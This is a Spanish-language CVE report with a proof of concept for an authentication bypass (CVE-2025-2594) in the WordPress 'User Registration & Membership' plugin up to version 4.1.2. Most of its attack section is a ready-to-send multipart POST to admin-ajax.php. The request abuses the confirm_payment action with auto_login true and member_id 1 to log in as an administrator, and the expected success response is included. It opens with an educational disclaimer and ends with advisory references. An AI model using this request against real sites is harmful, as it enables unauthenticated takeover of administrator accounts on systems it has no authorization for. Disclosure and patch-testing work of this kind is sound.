CVE-2025-2594

Registro de Usuario y Membresía <= 4.1.2 - Bypass de Autenticación

¡Descargo de responsabilidad!

La información presentada en este informe de CVE (Common Vulnerabilities and Exposures) es solo con fines educativos e informativos. Los detalles proporcionados se basan en recursos disponibles públicamente, investigaciones y análisis realizados por el autor. El contenido no tiene la intención de promover o fomentar actividades ilegales, incluyendo hacking, explotación o acceso no autorizado a sistemas.

El autor no asume ninguna responsabilidad por el mal uso de la información presentada. Se recomienda que individuos y organizaciones apliquen este conocimiento de manera responsable y en cumplimiento con las leyes y regulaciones aplicables. Se aconseja encarecidamente a los lectores que prueben las vulnerabilidades solo en entornos controlados y con la debida autorización.

El autor y los colaboradores de este informe no respaldan ni apoyan actividades maliciosas y fomentan la divulgación responsable y las prácticas de hacking ético.

---

Descripción

Se ha descubierto una vulnerabilidad de seguridad crítica en el complemento "User Registration & Membership" de WordPress, una herramienta popular para crear sitios web de membresía y formularios de registro. La falla, identificada como CVE-2025-2594, tiene una puntuación CVSS de 8.1, lo que indica su alta gravedad.

El complemento User Registration & Membership para WordPress es vulnerable a un bypass de autenticación en versiones hasta la 4.1.2 inclusive. Esto se debe a una autenticación incorrecta en la función 'confirm_payment()'. Esto permite que atacantes no autenticados inicien sesión como un usuario existente en el sitio, incluso como administrador, bajo las siguientes condiciones:

1. El complemento tiene activado el add-on de membresía

---

PoC (Prueba de Concepto)

1. Obtener _confirm_payment_nonce en la página de registro
2. Datos de solicitud de muestra
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: PostmanRuntime/7.43.3
   Accept: */*
   Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
   Content-Length: 565
   
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_confirm_payment
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="security"
   
   CONFIRM_PAYMENT_NONCE
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="form_response"
   
   { "auto_login": true }
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="member_id"
   
   1
   ----------------------------705549092016875046023302--
   

3. La respuesta debe ser como esta
   root@kitploit:~

   {"success":true,"data":{"message":null}}
   

4. Respuesta de muestra

---

Referencias

1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

Agradecimientos

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii